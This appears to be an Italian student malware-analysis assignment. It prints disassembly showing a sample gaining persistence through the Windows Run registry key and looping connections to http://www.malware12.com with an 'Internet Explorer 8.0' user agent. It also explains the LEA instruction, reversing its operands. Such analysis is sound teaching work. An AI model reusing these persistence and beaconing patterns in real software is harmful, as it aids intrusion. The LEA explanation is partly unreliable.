

TASK:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
- BONUS: qual'è il significato ed il funzionamento del comando assembly "lea"

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    : "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:lstrlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

Chiamata di funzione per l'apertura della chiave di registro

Chiamata di funzione per la modifica del valore di registro

Nel riquadro **rosso** abbiamo la chiamata di funzione che apre la chiave del Registro di sistema specificata. Si noti che i nomi delle chiavi non sono distinzione tra maiuscole e minuscole¹.

Nel riquadro **verde** abbiamo invece la funzione che imposta i dati e il tipo di un valore specificato in una chiave del Registro di sistema². Qua viene modificata la chiave di registro in modo da ottenere la persistenza.

Sottolineato in **giallo** possiamo vedere la chiave di registro modificata dal malware per ottenere la persistenza.

¹ <https://learn.microsoft.com/it-it/windows/win32/api/winreg/nf-winreg-regopenkeyexw>

² <https://learn.microsoft.com/it-it/windows/win32/api/winreg/nf-winreg-regsetvalueexw>

```

.text:00401150 ; SUBROUTINE
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near
    push esi
    push edi
    push 0 ; dwFlags
    push 0 ; lpszProxyBypass
    push 0 ; lpszProxy
    push 1 ; dwAccessType
    push offset szAgent ; "Internet Explorer 8.0"
    call ds:InternetOpenA
    mov edi, ds:InternetOpenURLA
    mov esi, eax
    loc 401160:
    push 0 ; dwContext
    push 80000000h ; dwFlags
    push 0 ; dwHeadersLength
    push 0 ; lpszHeaders
    push offset szUrl ; "http://www.malware12.com"
    push esi ; hInternet
    call edi ; InternetOpenURLA
    jmp short loc_401160
    StartAddress endp

```

Chiamata di funzione che Inizializza l'uso di un'applicazione delle funzioni WinINet.

Client software utilizzato dal malware

Chiamata di funzione che apre una risorsa specificata da un URL FTP o HTTP completo

Nel riquadro **arancione** abbiamo la funzione di chiamata che si occupa di inizializzare l'uso di un'applicazione delle funzioni WinINet³. La funzione “push offset szAgent”, sottolineata in **viola**, specifica il client software utilizzato dal malware per la connessione ad internet, che dal commento sappiamo essere Internet Explorer 8.0.

Nel riquadro **blu** invece abbiamo la chiamata di funzione che apre una risorsa specificata da un URL FTP o HTTP completo⁴. In questo caso la risorsa URL a cui il malware prova a connettersi è indicata dall’ “offset szUrl ; <http://www.malware12.com>” che viene pushato sulla cima dello stack.

L'istruzione LEA (load effective address) inserisce l'indirizzo specificato dal suo primo operando nel registro specificato dal suo secondo operando. Si noti che il contenuto della posizione di memoria non viene caricato, solo l'indirizzo effettivo viene calcolato e inserito nel registro. Questo è utile per ottenere un puntatore in una regione di memoria o per eseguire semplici operazioni aritmetiche e LEA non altera le flag⁵.

Questa istruzione copia l'effettivo valore esadecimale a 16 bit di una etichetta, passata come operando sorgente, nel registro di Offset indicato dall'operando destinazione.

Il registro coinvolto per ricevere l'offset del puntatore associato all'etichetta può essere uno qualunque dei registri a 16 bit (naturalmente esclusi quelli di segmento...)⁶

3 <https://learn.microsoft.com/it-it/windows/win32/api/wininet/nf-wininet-internetopena>

4 <https://learn.microsoft.com/it-it/windows/win32/api/wininet/nf-wininet-internetopenurla>

5 <https://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html>

6 <http://www.giobe2000.it/Tutorial/Schede/07-IstruzioniCpu/LEA.asp>